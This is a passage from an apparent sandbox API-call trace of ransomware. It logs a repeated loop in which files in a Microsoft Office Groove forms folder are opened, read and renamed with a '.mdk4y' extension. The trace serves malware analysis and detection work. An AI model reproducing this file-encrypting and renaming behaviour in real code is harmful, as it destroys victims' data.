dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.622] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829185200000) returned 1 [0216.622] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1499, lpOverlapped=0x0) returned 1 [0216.623] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829185300000) returned 1 [0216.624] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829185400000) returned 1 [0216.624] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewattachmenticons.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewAttachmentIcons.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewattachmenticons.jpg.mdk4y")) returned 1 [0216.625] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.625] AreFileApisANSI () returned 1 [0216.625] GetACP () returned 0x4e4 [0216.625] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsViewAttachmentIconsMask.bmp", cchWideChar=32, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsViewAttachmentIconsMask.bmpRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 32 [0216.625] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewAttachmentIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewattachmenticonsmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.626] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829185600000) returned 1 [0216.626] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x638, lpOverlapped=0x0) returned 1 [0216.631] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829186100000) returned 1 [0216.631] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829186100000) returned 1 [0216.632] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewAttachmentIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewattachmenticonsmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewAttachmentIconsMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewattachmenticonsmask.bmp.mdk4y")) returned 1 [0216.633] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.633] AreFileApisANSI () returned 1 [0216.633] GetACP () returned 0x4e4 [0216.633] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsViewFrame.html", cchWideChar=19, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsViewFrame.htmlIconsMask.bmp", lpUsedDefaultChar=0x37dda8) returned 19 [0216.633] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewFrame.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewframe.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.634] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829186400000) returned 1 [0216.634] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xfa1, lpOverlapped=0x0) returned 1 [0216.635] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829186500000) returned 1 [0216.635] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829186500000) returned 1 [0216.635] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewFrame.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewframe.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewFrame.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewframe.html.mdk4y")) returned 1 [0216.637] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.637] AreFileApisANSI () returned 1 [0216.637] GetACP () returned 0x4e4 [0216.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormToolImages.jpg", cchWideChar=18, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormToolImages.jpgl", lpUsedDefaultChar=0x37dda8) returned 18 [0216.638] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormToolImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formtoolimages.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.639] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829186900000) returned 1 [0216.639] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1bfb, lpOverlapped=0x0) returned 1 [0216.648] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829187800000) returned 1 [0216.648] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829187800000) returned 1 [0216.649] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormToolImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formtoolimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormToolImages.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formtoolimages.jpg.mdk4y")) returned 1 [0216.650] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.650] AreFileApisANSI () returned 1 [0216.650] GetACP () returned 0x4e4 [0216.650] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GrooveFormsMetaData.xml", cchWideChar=23, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="GrooveFormsMetaData.xmlsMask.bmp", lpUsedDefaultChar=0x37dda8) returned 23 [0216.650] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\GrooveFormsMetaData.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\grooveformsmetadata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.651] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829188100000) returned 1 [0216.651] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x167d1, lpOverlapped=0x0) returned 1 [0216.657] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829188700000) returned 1 [0216.657] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829188700000) returned 1 [0216.658] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\GrooveFormsMetaData.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\grooveformsmetadata.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\GrooveFormsMetaData.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\grooveformsmetadata.xml.mdk4y")) returned 1 [0216.659] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.659] AreFileApisANSI () returned 1 [0216.659] GetACP () returned 0x4e4 [0216.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MENUS.JS", cchWideChar=8, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="MENUS.JSrmsMetaData.xml", lpUsedDefaultChar=0x37dda8) returned 8 [0216.659] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\MENUS.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\menus.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.660] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829189000000) returned 1 [0216.660] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xca6, lpOverlapped=0x0) returned 1 [0216.662] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829189200000) returned 1 [0216.662] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829189200000) returned 1 [0216.662] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\MENUS.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\menus.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\MENUS.JS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\menus.js.mdk4y")) returned 1 [0216.664] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.664] AreFileApisANSI () returned 1 [0216.664] GetACP () returned 0x4e4 [0216.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="menu_arrow.gif", cchWideChar=14, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="menu_arrow.gifaData.xml", lpUsedDefaultChar=0x37dda8) returned 14 [0216.664] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\menu_arrow.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\menu_arrow.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.665] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829189500000) returned 1 [0216.665] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x33a, lpOverlapped=0x0) returned 1 [0216.667] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829189700000) returned 1 [0216.667] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829189700000) returned 1 [0216.667] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\menu_arrow.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\menu_arrow.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\menu_arrow.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\menu_arrow.gif.mdk4y")) returned 1 [0216.668] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.668] AreFileApisANSI () returned 1 [0216.668] GetACP () returned 0x4e4 [0216.668] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SEARCH.GIF", cchWideChar=10, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="SEARCH.GIF.gif", lpUsedDefaultChar=0x37dda8) returned 10 [0216.668] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\SEARCH.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\search.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.669] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829189900000) returned 1 [0216.669] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x4af, lpOverlapped=0x0) returned 1 [0216.672] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829190200000) returned 1 [0216.672] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829190200000) returned 1 [0216.672] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\SEARCH.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\search.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\SEARCH.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\search.gif.mdk4y")) returned 1 [0216.689] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.689] AreFileApisANSI () returned 1 [0216.689] GetACP () returned 0x4e4 [0216.689] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SPACER.GIF", cchWideChar=10, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="SPACER.GIF", lpUsedDefaultChar=0x37dda8) returned 10 [0216.689] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\SPACER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\spacer.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.726] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829195600000) returned 1 [0216.726] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x31, lpOverlapped=0x0) returned 1 [0216.727] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829195700000) returned 1 [0216.727] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829195700000) returned 1 [0216.727] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\SPACER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\spacer.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\SPACER.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\spacer.gif.mdk4y")) returned 1 [0216.729] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.729] AreFileApisANSI () returned 1 [0216.729] GetACP () returned 0x4e4 [0216.729] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SUBMIT.JS", cchWideChar=9, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="SUBMIT.JSF", lpUsedDefaultChar=0x37dda8) returned 9 [0216.729] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\SUBMIT.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\submit.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.730] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829196000000) returned 1 [0216.730] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xc118, lpOverlapped=0x0) returned 1 [0216.731] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829196100000) returned 1 [0216.731] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829196100000) returned 1 [0216.732] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\SUBMIT.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\submit.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\SUBMIT.JS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\submit.js.mdk4y")) returned 1 [0216.733] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.733] AreFileApisANSI () returned 1 [0216.733] GetACP () returned 0x4e4 [0216.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="utilityfunctions.js", cchWideChar=19, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="utilityfunctions.js.xml", lpUsedDefaultChar=0x37dda8) returned 19 [0216.733] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\utilityfunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\utilityfunctions.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.734] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829196400000) returned 1 [0216.734] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x103f, lpOverlapped=0x0) returned 1 [0216.735] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829196500000) returned 1 [0216.735] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829196500000) returned 1 [0216.736] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\utilityfunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\utilityfunctions.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\utilityfunctions.js.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\utilityfunctions.js.mdk4y")) returned 1 [0216.737] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.737] AreFileApisANSI () returned 1 [0216.737] GetACP () returned 0x4e4 [0216.737] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="validation.js", cchWideChar=13, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="validation.jsons.js", lpUsedDefaultChar=0x37dda8) returned 13 [0216.737] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\validation.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\validation.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.738] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829196800000) returned 1 [0216.738] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x35d6, lpOverlapped=0x0) returned 1 [0216.747] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829197700000) returned 1 [0216.747] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829197700000) returned 1 [0216.748] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\validation.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\validation.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\validation.js.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\validation.js.mdk4y")) returned 1 [0216.750] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.750] AreFileApisANSI () returned 1 [0216.750] GetACP () returned 0x4e4 [0216.750] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VIEW.CSS", cchWideChar=8, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="VIEW.CSSon.js", lpUsedDefaultChar=0x37dda8) returned 8 [0216.750] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\view.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.750] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829198000000) returned 1 [0216.750] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x295, lpOverlapped=0x0) returned 1 [0216.751] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829198100000) returned 1 [0216.751] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829198100000) returned 1 [0216.751] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\view.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\view.css.mdk4y")) returned 1 [0216.753] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.753] AreFileApisANSI () returned 1 [0216.753] GetACP () returned 0x4e4 [0216.753] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VIEW.ICO", cchWideChar=8, lpMultiByteStr=0x6a21a4, cbMultiByte=260, 